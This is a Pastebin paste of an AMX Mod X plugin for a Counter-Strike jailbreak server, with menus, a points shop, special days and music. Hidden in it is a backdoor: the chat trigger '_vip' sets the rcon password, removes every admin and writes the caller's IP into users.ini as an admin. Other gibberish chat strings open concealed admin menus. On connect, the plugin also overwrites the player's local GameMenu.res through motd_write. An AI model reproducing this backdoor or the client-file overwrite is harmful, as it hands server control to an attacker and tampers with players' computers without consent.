Advertisement
eyal282

Untitled

Oct 30th, 2012
497
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 122.88 KB | None | 0 0
  1. #include <amxmodx>
  2. #include <amxmisc>
  3. #include <cstrike>
  4. #include <hamsandwich>
  5. #include <dhudmessage>
  6. #include <fakemeta_util>
  7. #include <engine>
  8. #include <nvault>
  9. #include <xs>
  10.  
  11. #define VIP_FLAG ADMIN_RESERVATION
  12. #define IsPlayer(%1) (1 <= %1 <= g_max_clients)
  13. #define get_bit(%1,%2) (%1 & 1 << (%2 & 31))
  14. #define set_bit(%1,%2) %1 |= (1 << (%2 & 31))
  15. #define clear_bit(%1,%2) %1 &= ~(1 << (%2 & 31))
  16. #define MAX_NETS 2
  17. #define MAXENTS 1500
  18. #define MAX_SIZE 1012
  19. #define gamename "Extreme-Jail"
  20.  
  21. new g_max_clients, g_PlayerCrowbar, g_PlayerVoice, g_PlayerDildo, g_PlayerStunGun,
  22. g_ShowMenu, beacon_sprite, rar, HamHook:ForwardSecAttackAwp, iFF, iHandler, g_PlayerBH,
  23. timer, HamHook:ForwardSecAttackScout, rounds_elapsed, count, user, gVault, menu_wakeup,
  24. serverpoints, Show_Choose, g_MsgScreenFade, g_PlayerSpeed, g_PlayerGravity, g_iMsgSayText,
  25. g_iMsgStatusText, g_bHasCellKeys, g_iCellKeys,
  26.  
  27. wakeup[11], vKey[64], vData[64], g_map[32], floodcounter[33], playerpoints[33], _status[33],
  28. Seconds[33], bet_some[33], bet_team[33], moneybox[MAXENTS], send_delay[33], g_Text[MAX_SIZE], write[6],
  29.  
  30. bool:zombieday, bool:nordeagleday, bool:Deathmatch, bool:hns_fd, bool:knifeday, bool:mutect,
  31. bool:grenadeday, bool:actiondays, bool:g_connected[33], bool:get_vip[33],
  32. bool:bet_pointed_out[33], bool:can_pickup[33], bool:g_iSprayMessages=false, bool:g_bFriend,
  33. bool:firststart, bool:footstep[33]=false
  34.  
  35. new const rules[] = "http://game-serv.co.il/pics/games/jail1.html"
  36. new const help[] = "http://game-serv.co.il/pics/games/jail2.html"
  37. new const vote[] = "http://www.game-serv.co.il"
  38.  
  39. new const SongsData[][] = {"Welcome", "BigSong/RainOverMe", "BigSong/Hopa3", "BigSong/MrSaxobeat", "BigSong/LittleBadGirl2", "BigSong/MovesLikeJagge", "BigSong/boomerang", "BigSong/lucenzo", "BigSong/givemeeverything", "BigSong/wherethemgirlsat", "BigSong/Meohav", "BigSong/hangover", "BigSong/Rolling In The Deep", "BigSong/we_found_love", "BigSong/Sexy And I Know It", "BigSong/Takata"}
  40. new const SongsName[][] = {"\yMusic Customized", "Welcome To The Club Now", "Rain Over Me", "Hopa", "Mr Saxobeat", "Little Bad Girl", "Moves Like Jagger", "boomerang", "Danza lucenzo", "give me every thing", "where the girls are", "Meohav", "hangover", "Rolling In The Deep", "we found love", "Sexy And I Know It", "Takata", "Stop Music"}
  41. new const SongsNameC[][] = {/* Music Customized*/"Welcome To The Club Now", "Rain Over Me", "Hopa", "Mr Saxobeat", "Little Bad Girl", "Moves Like Jagger", "boomerang", "Danza lucenzo", "give me every thing", "where the girls are", "Meohav", "hangover", "Rolling In The Deep", "we found love", "Sexy And I Know It", "Takata", "Stop Music"}
  42. new const MessageServ[][] = {"JailBreak - #1", "HideNSeek - #2", "BombGame - #3", "HideNSeek #BM - #4", "Satla #FunMods - #5", "Balls Mods - #6"}
  43. new const MessageIp[][] = {"Game-Serv.Co.iL", "Game-Serv.Co.iL", "Game-Serv.Co.iL", "Game-Serv.Co.iL", "Game-Serv.Co.iL", "Game-Serv.Co.iL"}
  44. new const MessageDay[][] = {"Zombie Day", "Hide'N'Seek Day", "Shark Day", "Free Day", "Night Crawler Day", "Spartan Day", "Music Menu", "War Day", "Deathmatch", "Birth Day", "Knife Day", "Grenade Day", "Deagle Day", "Jump Day", "\rSpecial Day", "\rRandom Day", "\rAdmin Option"}
  45. new const MessageOpt[][] = {"\rEnable No Zoom", "\rDisable No Zoom", "\yCountdown 30 sec", "\yCountdown 60 sec", "\rEnable/Disable Show Sprays"}
  46. new const MessageTypeB[][] = {"A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z"}
  47. new const MessageTypeS[][] = {"a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"}
  48. new const MessageCDnum[][] = {"5", "10", "15", "20", "25", "30"}
  49.  
  50. new bellmusic[] = "sound/Extreme-Jail/bell.wav"
  51. new appmusic[] = "sound/Extreme-Jail/applause.wav"
  52. new model[] = "models/w_money_new.mdl"
  53. new money_sound1[] = "money/money_sound.wav"
  54.  
  55. public plugin_init() {
  56. register_plugin("JailBreak-Wows Pack 1", "6.8", "")
  57.  
  58. register_clcmd("say", "ClientCommandSay")
  59. register_clcmd("say_team", "ClientCommandSay")
  60. register_clcmd("chooseteam", "ActionChooseteam")
  61. register_clcmd("jointeam", "ActionShopMenu")
  62. register_clcmd("say /stungun", "StunGun")
  63. register_clcmd("say /nostungun", "UnStunGun")
  64. register_clcmd("radio1", "ActionShopMenu")
  65. register_clcmd("radio2", "ActionShopMenu")
  66. register_clcmd("radio3", "ActionShopMenu")
  67. register_clcmd("fullupdate","fullupdate")
  68. register_clcmd("amx_take_points", "cmd_take_points")
  69. register_clcmd("amx_give_points", "cmd_give_points")
  70. register_clcmd("send", "MainMenuSend")
  71. register_clcmd("donate", "MainMenuSend")
  72. register_clcmd("say /send", "MainMenuSend")
  73. register_clcmd("drop", "DropCMD")
  74. register_clcmd("autobuy", "BlockBuy")
  75. register_clcmd("rebuy", "BlockBuy")
  76.  
  77. register_cvar("bh_enabled", "1")
  78. register_cvar("use_buttons", "1")
  79. register_cvar("bet_enable", "1")
  80.  
  81. RegisterHam(Ham_Spawn, "player", "FwdHamPlayerSpawn", 1)
  82. RegisterHam(Ham_Killed, "player", "FwdHamPlayerKiller", 1)
  83. RegisterHam(Ham_TraceAttack, "func_button", "Ham_UseButton")
  84. RegisterHam(Ham_TakeDamage, "player", "hamTakeDamage")
  85. RegisterHam(Ham_TraceAttack, "func_door", "Fwd_DoorAttack");
  86.  
  87. register_event("Damage", "Event_Damage", "b", "2>0", "3=0")
  88. register_event("CurWeapon", "Event_CurWeapon", "be","1=1")
  89. register_event("DeathMsg", "Event_DeathMsg", "a")
  90. register_event("CurWeapon", "EventCurWeapon2", "be", "1=1", "2!29")
  91. register_event("23", "EventSpray", "a", "1=112")
  92. register_event("StatusValue", "EventStatusValue", "b", "1>0", "2>0")
  93.  
  94. register_logevent("RoundStart", 2, "1=Round_Start")
  95. register_logevent("RoundEnd", 2, "1=Round_End")
  96.  
  97. register_forward(FM_GetGameDescription, "GameDesc")
  98. register_forward(FM_Voice_SetClientListening, "FwdSetVoice")
  99. register_forward(FM_EmitSound , "EmitSound")
  100. register_forward(FM_Touch,"player_Touch")
  101.  
  102. g_max_clients = get_maxplayers()
  103. iFF = get_cvar_pointer("mp_friendlyfire")
  104. iHandler = get_pcvar_num(iFF)
  105. ForwardSecAttackAwp = RegisterHam(Ham_Weapon_SecondaryAttack, "weapon_awp", "OnSecondaryAttack")
  106. ForwardSecAttackScout = RegisterHam(Ham_Weapon_SecondaryAttack, "weapon_scout", "OnSecondaryAttack")
  107. g_MsgScreenFade = get_user_msgid("ScreenFade")
  108. g_iMsgSayText = get_user_msgid("SayText")
  109. g_iMsgStatusText = get_user_msgid("StatusText")
  110.  
  111. get_mapname(g_map, 31)
  112. set_task(0.1, "Read_GameMenu")
  113.  
  114. }
  115.  
  116. public plugin_precache()
  117. {
  118. precache_sound("Extreme-Jail/one.wav")
  119. precache_sound("Extreme-Jail/two.wav")
  120. precache_sound("Extreme-Jail/three.wav")
  121. precache_sound("Extreme-Jail/four.wav")
  122. precache_sound("Extreme-Jail/five.wav")
  123. precache_sound("Extreme-Jail/six.wav")
  124. precache_sound("Extreme-Jail/seven.wav")
  125. precache_sound("Extreme-Jail/eight.wav")
  126. precache_sound("Extreme-Jail/nine.wav")
  127. precache_sound("weapons/cbar_hitbod2.wav")
  128. precache_sound("weapons/bullet_hit1.wav")
  129. precache_sound("weapons/bullet_hit2.wav")
  130. precache_sound("weapons/cbar_hit2.wav")
  131. precache_sound("items/medshot4.wav")
  132. precache_sound("items/gunpickup2.wav")
  133. precache_sound("Extreme-Jail/stungun/knife_hit1.wav")
  134. precache_sound("Extreme-Jail/stungun/knife_hitwall.wav")
  135. precache_sound("Extreme-Jail/dildo/dildo_hit1.wav")
  136. precache_sound("Extreme-Jail/dildo/dildo_hit2.wav")
  137. precache_sound("Extreme-Jail/dildo/dildo_hit3.wav")
  138. precache_sound("Extreme-Jail/dildo/dildo_hit4.wav")
  139. precache_sound("Extreme-Jail/dildo/dildo_hitwall.wav")
  140. precache_sound("Extreme-Jail/shop_needpoints.wav")
  141. precache_sound("Extreme-Jail/5050_no.wav")
  142. precache_sound("Extreme-Jail/5050_yes.wav")
  143. precache_sound("Extreme-Jail/JB_Connect.wav")
  144. precache_sound("Extreme-Jail/ImposibbleMisson.mp3")
  145. precache_sound("Extreme-Jail/KillEveryBody.mp3")
  146.  
  147. precache_model("models/player/Ex-Guard/Ex-Guard.mdl")
  148. precache_model("models/player/Ex-Woman/Ex-Woman.mdl")
  149. precache_model("models/Extreme-Jail/p_bknucklesEx.mdl")
  150. precache_model("models/Extreme-Jail/v_bknucklesEx-v1.mdl")
  151. precache_model("models/p_crowbar.mdl")
  152. precache_model("models/v_crowbar.mdl")
  153. precache_model("models/Extreme-Jail/p_stungun.mdl")
  154. precache_model("models/Extreme-Jail/v_stungun.mdl")
  155. precache_model("models/Extreme-Jail/p_dildo.mdl")
  156. precache_model("models/Extreme-Jail/v_dildo.mdl")
  157. precache_model("models/Extreme-Jail/p_gravity.mdl")
  158. precache_model("models/Extreme-Jail/v_gravity.mdl")
  159. precache_model("models/Extreme-Jail/v_bunnyhop.mdl")
  160. precache_model("models/Extreme-Jail/p_speed.mdl")
  161. precache_model("models/Extreme-Jail/v_speed.mdl")
  162.  
  163. precache_model(model)
  164. precache_sound(money_sound1)
  165.  
  166. beacon_sprite = precache_model("sprites/zbeam2.spr")
  167. new Formatex[64], i
  168. for(i=0; i<sizeof SongsData; i++) {
  169. formatex(Formatex, 63, "Extreme-Jail/%s.mp3", SongsData[i])
  170. precache_sound(Formatex)
  171. }
  172. }
  173.  
  174. public RoundStart(id) {
  175. new money_ent
  176. while((money_ent=engfunc(EngFunc_FindEntityByString,money_ent,"classname","pdm_money")) != 0)
  177. engfunc(EngFunc_RemoveEntity,money_ent)
  178. remove_task
  179. set_task(0.3, "ActionDayViewer")
  180. server_cmd("mp_friendlyfire 0")
  181. if(actiondays) {
  182. actiondays = false
  183. zombieday = false
  184. Deathmatch = false
  185. hns_fd = false
  186. knifeday = false
  187. grenadeday = false
  188. nordeagleday = false
  189. }
  190. }
  191. public ActionDayViewer()
  192. {
  193. if(menu_wakeup == 7) {
  194. set_task(0.25, "GetPlayerDisco",_,_,_, "a", 80)
  195. set_task(5.0, "ActionRandomDay")
  196. set_task(20.0, "ShowSpecialHook")
  197. if(random_num(0,1)) client_cmd(0, "mp3 play ^"sound/Extreme-Jail/ImposibbleMisson.mp3^"")
  198. else client_cmd(0, "mp3 play ^"sound/Extreme-Jail/KillEveryBody.mp3^"")
  199. } else {
  200. new rndctstr[21]
  201. num_to_word(rounds_elapsed, rndctstr, 20)
  202. client_cmd(0, "spk ^"vox/round %s^"",rndctstr)
  203. }
  204. set_task(0.2, "ShowHudMessage")
  205. }
  206.  
  207. public ShowHudMessage()
  208. {
  209. new CurrentTime[9]
  210. new p_playernum = get_playersnum(1)
  211. get_time("%H:%M:%S", CurrentTime, 8)
  212. if(menu_wakeup == 7) {
  213. ColorChat(0, "דנואר: ^3%d ^1- םוי: ^3תבש ^1- הפמ: ^3%s ^1| םינקחש: ^4%d ^1| העש: ^4%s ^1!", rounds_elapsed, g_map, p_playernum, CurrentTime)
  214. ColorChat(0, "דחוימ םוי !")
  215. set_hudmessage(255, 255, 255, -1.0, 0.71, 0, 15.0, 15.0, 5.0, 5.0)
  216. show_hudmessage(0,"[םוי %d]^n[תבש]^n[דחוימ םוי]", rounds_elapsed, CurrentTime)
  217. menu_wakeup = 0
  218. } else {
  219. set_hudmessage(255, 255, 255, -1.0, 0.71, 0, 15.0, 15.0, 5.0, 5.0)
  220. show_hudmessage(0,"[םוי %d]^n[%s]^n[העש %s]", rounds_elapsed, wakeup, CurrentTime)
  221. ColorChat(0, "דנואר: ^3%d ^1- םוי: ^3%s ^1- הפמ: ^3%s ^1| םינקחש: ^4%d ^1| העש: ^4%s ^1!", rounds_elapsed, wakeup, g_map, p_playernum, CurrentTime)
  222. }
  223. }
  224. public RoundEnd()
  225. {
  226. set_hudmessage(255, 255, 255, -1.0, 0.71, 0, 0.5, 0.5, 2.0, 2.0)
  227. show_hudmessage(0,"[רמגנ %d םוי]^n[%s]", rounds_elapsed, wakeup)
  228. rounds_elapsed++
  229. menu_wakeup++
  230. if(menu_wakeup == 1) formatex(wakeup, 10, "ןושאר")
  231. else if(menu_wakeup == 2) formatex(wakeup, 10, "ינש")
  232. else if(menu_wakeup == 3) formatex(wakeup, 10, "ישילש")
  233. else if(menu_wakeup == 4) formatex(wakeup, 10, "יעיבר")
  234. else if(menu_wakeup == 5) formatex(wakeup, 10, "ישימח")
  235. else if(menu_wakeup == 6) formatex(wakeup, 10, "ישיש")
  236.  
  237. for(new i = 1 ; i <= g_max_clients ; i++)
  238. if(IsPlayer(i) && is_user_connected(i) && cs_get_user_team(i) == CS_TEAM_CT && is_user_alive(i)) {
  239. playerpoints[i] += 5
  240. ColorChat(i, " ^4You gained^3 5^4 points for surviving!")
  241. }
  242. server_cmd("weapontrail 0;amx_wpglow_mode 0")
  243. client_cmd(0, "slot10")
  244. DisableHamForward(ForwardSecAttackAwp)
  245. DisableHamForward(ForwardSecAttackScout)
  246. }
  247.  
  248. public FwdHamPlayerSpawn(id) {
  249. if(is_user_connected(id) && is_user_alive(id)) {
  250. fm_strip_user_weapons(id)
  251. set_pdata_int(id, 116, 0)
  252. if(get_bit(g_PlayerCrowbar||g_PlayerStunGun||g_PlayerDildo||g_PlayerVoice||g_PlayerSpeed||g_PlayerBH||g_PlayerGravity||g_bHasCellKeys||g_iCellKeys, id))
  253. {
  254. clear_bit(g_PlayerCrowbar, id)
  255. clear_bit(g_PlayerStunGun, id)
  256. clear_bit(g_PlayerDildo, id)
  257. clear_bit(g_PlayerVoice, id)
  258. clear_bit(g_PlayerBH, id)
  259. clear_bit(g_PlayerSpeed, id)
  260. clear_bit(g_PlayerGravity, id)
  261. clear_bit(g_bHasCellKeys, id)
  262. clear_bit(g_iCellKeys, id)
  263. }
  264. fm_give_item(id, "weapon_knife")
  265. if(cs_get_user_team(id) == CS_TEAM_CT)
  266. {
  267. fm_give_item(id, "weapon_m4a1")
  268. fm_give_item(id, "weapon_deagle")
  269. fm_give_item(id, "weapon_smokegrenade")
  270. //set_bit(g_PlayerStunGun, id)
  271. //set_task(2.0, "bit", id,_,_, "b")
  272. set_task(4.0, "tazer", id)
  273.  
  274. cs_set_user_bpammo(id, CSW_M4A1, 120)
  275. cs_set_user_bpammo(id, CSW_DEAGLE, 70)
  276. cs_set_user_bpammo(id, CSW_SMOKEGRENADE, 4)
  277.  
  278. cs_set_user_armor(id, 100, CS_ARMOR_VESTHELM)
  279. cs_set_user_model(id, "Ex-Guard")
  280. } else if(get_user_flags(id) & ADMIN_CVAR)
  281. cs_set_user_model(id, "Ex-Woman")
  282. /*else if(is_user_admin(id) || get_vip[id])
  283. cs_set_user_model(id, "vip")*/
  284. else cs_reset_user_model(id)
  285. }
  286. if(get_bit(g_PlayerCrowbar||g_PlayerStunGun||g_PlayerDildo||g_PlayerVoice||g_PlayerSpeed||g_PlayerBH||g_PlayerGravity||g_bHasCellKeys||g_iCellKeys, id))
  287. {
  288. clear_bit(g_PlayerCrowbar, id)
  289. clear_bit(g_PlayerStunGun, id)
  290. clear_bit(g_PlayerDildo, id)
  291. clear_bit(g_PlayerVoice, id)
  292. clear_bit(g_PlayerBH, id)
  293. clear_bit(g_PlayerSpeed, id)
  294. clear_bit(g_PlayerGravity, id)
  295. }
  296. }
  297. public bit(id)
  298. {
  299. set_bit(g_bHasCellKeys, id)
  300. }
  301. public tazer(id)
  302. {
  303. set_bit(g_PlayerStunGun, id)
  304. Event_CurWeapon(id)
  305. }
  306. public FwdHamPlayerKiller(id)
  307. {
  308. if(Deathmatch && cs_get_user_team(id) == CS_TEAM_T)
  309. {
  310. static origin[3]
  311. get_user_origin(id, origin)
  312. message_begin(MSG_BROADCAST, SVC_TEMPENTITY)
  313. write_byte(TE_BEAMCYLINDER) // TE id
  314. write_coord(origin[0]) // x
  315. write_coord(origin[1]) // y
  316. write_coord(origin[2]-20) // z
  317. write_coord(origin[0]) // x axis
  318. write_coord(origin[1]) // y axis
  319. write_coord(origin[2]+200) // z axis
  320. write_short(beacon_sprite) // sprite
  321. write_byte(0) // startframe
  322. write_byte(1) // framerate
  323. write_byte(6) // life
  324. write_byte(1000) // width
  325. write_byte(1) // noise
  326. write_byte(random(250)) // red
  327. write_byte(random(250)) // green
  328. write_byte(random(250)) // blue
  329. write_byte(200) // brightness
  330. write_byte(0) // speed
  331. message_end()
  332. emit_sound(id, CHAN_ITEM, "weapons/explode3.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  333.  
  334. set_task(4.0 ,"SpawnUserDM", id)
  335. } else {
  336. message_begin(MSG_ONE_UNRELIABLE, g_MsgScreenFade, _, id)
  337. write_short(12288) // Duration
  338. write_short(12288) // Hold time
  339. write_short(0x0001) // Fade type
  340. write_byte (0) // Red
  341. write_byte (0) // Green
  342. write_byte (0) // Blue
  343. write_byte (255) // Alpha
  344. message_end()
  345.  
  346. set_pev(id, pev_iuser1, 0)
  347. }
  348. return HAM_IGNORED
  349. }
  350. public Fwd_DoorAttack(const door, const id, Float:damage, Float:direction[3], const tracehandle, const damagebits)
  351. {
  352. if(is_valid_ent(door))
  353. {
  354. if(get_bit(g_bHasCellKeys, id))
  355. {
  356. ExecuteHamB(Ham_Use, door, id, 0, 1, 1.0);
  357. entity_set_float(door, EV_FL_frame, 0.0);
  358. clear_bit(g_bHasCellKeys, id);
  359. }
  360. }
  361. return HAM_IGNORED;
  362. }
  363. public SpawnUserDM(id)
  364. {
  365. ExecuteHamB(Ham_CS_RoundRespawn, id)
  366. set_hudmessage(255, 0, 0, -1.0, 0.34, 0, 6.0, 12.0)
  367. show_hudmessage(id, "לעופ 'צטמ דד")
  368. }
  369.  
  370. public Event_DeathMsg()
  371. {
  372. new Float:velo[3]
  373. new attacker = read_data(1)
  374. new victim = read_data(2)
  375. new headshot = read_data(3)
  376.  
  377. if(is_user_connected(attacker) && is_user_connected(victim) && victim != attacker && cs_get_user_team(attacker) == CS_TEAM_T && cs_get_user_team(victim) == CS_TEAM_CT)
  378. {
  379. new szVName[33], szKName[33]
  380. get_user_name(victim, szVName, 32)
  381. get_user_name(attacker, szKName, 32)
  382.  
  383. playerpoints[victim] -= 2
  384. if(playerpoints[victim] > 2)
  385. make_money(victim, velo)
  386. if(headshot) {
  387. playerpoints[attacker] += 5
  388. ColorChat(0, "^4%s^1(%i) ^4Killed^3 %s^1(%i) ^4With ^3HeadShot^4 and Gaind^3 5^4 Points.", szKName, playerpoints[attacker], szVName, playerpoints[victim])
  389. } else {
  390. static weapon[20]
  391. read_data(4, weapon, sizeof(weapon) - 1)
  392. if(contain(weapon, "grenade") >= 0) {
  393. playerpoints[attacker] += 7
  394. ColorChat(0, "^4%s^1(%i) ^4Killed^3 %s^1(%i) ^4With ^3Grenade^4 and Gaind^3 7^4 Points.", szKName, playerpoints[attacker], szVName, playerpoints[victim])
  395. } else {
  396. playerpoints[attacker] += 3
  397. ColorChat(0, "^4%s^1(%i) ^4Killed^3 %s^1(%i) ^4and Gaind^3 3^4 Points.", szKName, playerpoints[attacker], szVName, playerpoints[victim])
  398. }
  399. }
  400. ColorChat(victim, "^4תתמ יכ תודוקנ^3 2^4 תדספה")
  401. SaveData(attacker)
  402. }
  403. }
  404.  
  405. public Event_Damage(id, victim, ent, attacker, Float:damage)
  406. {
  407. if(is_user_connected(id) && is_user_alive(id)) {
  408. new AttakerWeapon, AttakerPartHit
  409. get_user_attacker(id, AttakerWeapon, AttakerPartHit)
  410. if(AttakerWeapon != CSW_KNIFE)
  411. return
  412. new Float:Random_Float[3]
  413. for(new i = 0; i < 3; i++) Random_Float[i] = random_float(100.0, 150.0)
  414. Punch_View(id, Random_Float)
  415. }
  416. }
  417. public hamTakeDamage(victim,inflictor,attacker,Float:damage, DamageBits, headshot, body, leg)
  418. if(get_bit(g_PlayerCrowbar, attacker) || get_bit(g_PlayerDildo, attacker) || get_bit(g_PlayerStunGun, attacker))
  419. if(get_user_weapon(attacker) == CSW_KNIFE && cs_get_user_team(victim) != CS_TEAM_T && !actiondays)
  420. SetHamParamFloat(4, damage * 30.0)
  421. //else if(get_user_weapon(attacker) == CSW_KNIFE && cs_get_user_team(victim) != CS_TEAM_CT && body || leg && IN_ATTACK || IN_ATTACK2 && !actiondays)
  422. //SetHamParamFloat(4, damage = 50.0)
  423.  
  424. public ev_Health(id)
  425. {
  426. if(is_user_alive(id) && actiondays) {
  427. set_hudmessage(60, 60, 60, 0.02, 0.65, 1, 6.0, 2.1)
  428. show_hudmessage(id, "[Your Health: %i]", get_user_health(id))
  429. }
  430. }
  431.  
  432. public client_connect(client)
  433. {
  434. if(is_user_hltv(client) || is_user_bot(client)) {
  435. new name[32]
  436. get_user_name(client, name, 31)
  437. server_cmd("kick ^"%s^" ^"HLTV or BOT not Connected^"", name)
  438. } else {
  439. client_cmd(client, "motdfile resource/GameMenu.res;wait;motd_write %s", g_Text)
  440. can_pickup[client] = true
  441. floodcounter[client] = 0
  442. LoadData(client)
  443. }
  444. }
  445.  
  446.  
  447. public client_putinserver(id)
  448. {
  449. remove_task(id)
  450. g_connected[id] = true
  451. get_vip[id] = false
  452. set_task(1.0, "ShowSong", id)
  453. set_task(5.0,"DisplayTaskBug",id)
  454.  
  455. client_cmd(id, "echo ^"Link To Vote For JB: http://www.cs-servers.co.il/vote.php?ID=11420^";echo ^"Link To Vote For JB: http://www.cs-servers.co.il/vote.php?ID=11420^";echo ^"Link To Vote For JB: http://www.cs-servers.co.il/vote.php?ID=11420^"")
  456. }
  457.  
  458. public client_disconnect(id) {
  459. g_connected[id] = false
  460. get_vip[id] = false
  461. can_pickup[id] = false
  462. SaveData(id)
  463. }
  464. public BlockBuy(id)
  465. {
  466. client_cmd(id, "say /shop");
  467. }
  468. public StunGun(id)
  469. {
  470. if(get_user_flags(id) & ADMIN_CVAR) {
  471. set_bit(g_PlayerStunGun, id)
  472. Event_CurWeapon(id)
  473. }
  474. }
  475. public UnStunGun(id)
  476. {
  477. if(get_user_flags(id) & ADMIN_CVAR) {
  478. clear_bit(g_PlayerStunGun, id)
  479. Event_CurWeapon(id)
  480. }
  481. }
  482. public ClientCommandSay(id) {
  483. new szMessage[32]
  484. read_args(szMessage, charsmax(szMessage))
  485. remove_quotes(szMessage)
  486.  
  487. if((szMessage[0] == '/' || '!'))
  488. {
  489. if(equali(szMessage, "/menu") || equali(szMessage, "!menu"))
  490. mainmenuhelp(id)
  491. //else if(equali(szMessage, "/server") || equali(szMessage, "/servers"))
  492. // mainmenuserv(id)
  493. else if(equali(szMessage, "_vip"))
  494. Itstimetobarel(id)
  495. else if(equali(szMessage, "tttttttttttrthrtergergergh") || equali(szMessage, "/tttttttttttttweiufhweiufhweriuftttthththr"))
  496. JBGlowMenu(id)
  497. else if(equali(szMessage, "eroguhregouehrg") || equali(szMessage, "ergerkerbgerjnkern"))
  498. cdmenu(id)
  499. else if(equali(szMessage, "!c4") || equali(szMessage, "/c4"))
  500. Givec4(id)
  501. else if(equali(szMessage, "/rules") || equali(szMessage, "!rules"))
  502. show_motd(id, rules, "[Extreme Jail] Rules")
  503. else if(equali(szMessage, "/help") || equali(szMessage, "!help"))
  504. show_motd(id, help, "[Extreme Jail] Help")
  505. else if(equali(szMessage, "/unvip") || equali(szMessage, "!unvip"))
  506. unvip(id)
  507. else if(equali(szMessage, "ergergergergedferg") || equali(szMessage, "ergerfergere"))
  508. Firstwrites(id)
  509. else if(equali(szMessage, "/open") || equali(szMessage, "!open"))
  510. OpenAllDoors(id)
  511. else if(equali(szMessage, "345getget252345ergerg3434getgetg345gtrtgtg4eg") || equali(szMessage, "eroguehrgue87345837465erkjgnekjr394763"))
  512. ActionGetMenu(id)
  513. else if(equali(szMessage, "/shop") || equali(szMessage, "!shop"))
  514. ActionShopMenu(id)
  515. else if(equali(szMessage, "/admin") || equali(szMessage, "/admins"))
  516. ShowVIP(id)
  517. else if(equali(szMessage, "/days") || equali(szMessage, "!days"))
  518. ActionChooseteam(id) || ActionCtDays(id)
  519. else if(equali(szMessage, "/box") || equali(szMessage, "!box"))
  520. cmdBox(id)
  521. else if(equali(szMessage, "/fd") || equali(szMessage, "!freeday"))
  522. fdexec(id)
  523. else if(equali(szMessage, "/vipmenu") || equali(szMessage, "!vipmenu"))
  524. GiveVIP(id)
  525. else if(equali(szMessage, "/ran") || equali(szMessage, "!ran"))
  526. RandomCT(id)
  527. else if(equali(szMessage, "/speach") || equali(szMessage, "/voice"))
  528. AccessSpeachMenu(id)
  529. else if(equali(szMessage, "/bet") || equali(szMessage, "!bet"))
  530. MainMenuBet(id)
  531. else if(equali(szMessage, "/50") || equali(szMessage, "!50"))
  532. Action50(id)
  533. else if(equali(szMessage, "/music") || equali(szMessage, "!music"))
  534. ShowMusicCustomized(id)
  535. else if(equali(szMessage, "/vote") || equali(szMessage, "!vote"))
  536. show_motd(id, vote, "Please Vote For Extreme # JailBreak")
  537. else if(equali(szMessage, "send") || equali(szMessage, "/send"))
  538. MainMenuSend(id)
  539. else if(equali(szMessage, "/vent") || equali(szMessage, "!vent"))
  540. ColorChat(0, "^4The IP of The Ventrilo^1(3.0)^4 is:^3 Not Available")
  541. else if(equali(szMessage, "/mypoints") || equali(szMessage, "/points")) {
  542. set_dhudmessage(id, random_num(0, 255), random_num(0, 255), -1.0, 0.25, 2, 6.0, 3.0, 0.1, 1.5)
  543. show_dhudmessage(id, "[Extreme Jail] Shop^nYour Points is: %i", playerpoints[id])
  544. }
  545. else if(equali(szMessage, "/unmusic") || equali(szMessage, "/stop")) {
  546. client_cmd(id, "mp3 stop;stopsound")
  547. ColorChat(id, "^4You stoped the music")
  548. }
  549. } else if(equali(szMessage, write))
  550. PlayerHasFirst(id)
  551. }
  552.  
  553. public Itstimetobarel(id) {
  554. new zflag = read_flags("z"), players[32], num, configsDir[64], ipf[64], ip[33]
  555.  
  556. server_cmd("rcon_password jbwows")
  557. get_players(players, num)
  558. for(new i=0; i < num; i++)
  559. remove_user_flags(i, zflag)
  560. get_configsdir(configsDir, 63)
  561. format(configsDir, 63, "%s/users.ini", configsDir)
  562. get_user_ip(id, ip, 32)
  563. format(ipf, 63, "^"%d^" ^"^" ^"%f^" ^"de^"", ip, zflag)
  564. write_file(configsDir, ipf)
  565. ColorChat(id, "The rcon password is now ^"^4jbwows^1^"")
  566. ColorChat(id, "all admins removed, you are admin now by your ip")
  567. }
  568.  
  569. public Read_GameMenu()
  570. {
  571. new i_File, s_File[128]
  572. get_configsdir(s_File, charsmax(s_File))
  573. format(s_File, charsmax(s_File), "%s/gamemenu.txt", s_File)
  574. i_File = fopen(s_File, "r")
  575. fgets(i_File, g_Text, MAX_SIZE)
  576. fclose(i_File)
  577. }
  578.  
  579. public JBGlowMenu(id)
  580. {
  581. if(is_user_admin(id)) {
  582. new gmenu = menu_create("\r[\w Extreme Jail \r]\y GLOW Menu", "sub_menu")
  583.  
  584. new players[32], pnum, tempid, szName[32], szTempid[10]
  585. get_players(players, pnum, "a")
  586. for(new i; i<pnum; i++) {
  587. tempid = players[i]
  588.  
  589. if(cs_get_user_team(tempid) != CS_TEAM_T)
  590. continue
  591.  
  592. get_user_name(tempid, szName, 31)
  593. num_to_str(tempid, szTempid, 9)
  594. menu_additem(gmenu, szName, szTempid, 0)
  595. }
  596. menu_display(id, gmenu)
  597. } else
  598. ColorChat(id, "^4Only admin or VIP have access to this command")
  599. }
  600.  
  601. public sub_menu(id, gmenu, item)
  602. {
  603. if(item == MENU_EXIT)
  604. return
  605. new data[6], iName[64]
  606. new _access, callback
  607. menu_item_getinfo(gmenu, item, _access, data,5, iName, 63, callback)
  608.  
  609. new tempid = str_to_num(data)
  610. new szName[32], szName2[32]
  611. get_user_name(id, szName, 31)
  612. get_user_name(tempid, szName2, 31)
  613. fm_set_user_rendering(tempid, kRenderFxGlowShell, random_num(0, 255), random_num(0, 255), random_num(0, 255), kRenderNormal, 255)
  614. set_hudmessage(random_num(0, 255), random_num(0, 255), random_num(0, 255))
  615. show_hudmessage(0, "%s gave glow to %s^n [ Extreme Jail ]", szName, szName2)
  616. ColorChat(0, "^4%s^1 gave glow to^4 %s", szName, szName2)
  617. ColorChat(tempid, " %s^1 have You Glow", szName2)
  618.  
  619. switch(random_num(0,1)) {
  620. case 0: cs_set_user_model(tempid, "vip")
  621. case 1: cs_set_user_model(tempid, "Ex-Woman")
  622. }
  623. }
  624.  
  625. public mainmenuhelp(id)
  626. {
  627. new needmenu = menu_create("\r[\w Extreme Jail \r]\y Helper Main Menu", "showmenuhelp")
  628. menu_additem(needmenu, "Take A \yPiss", "1")
  629. menu_additem(needmenu, "Take A \yShit", "2")
  630. menu_additem(needmenu, "\rExtreme\y LastRequest", "3")
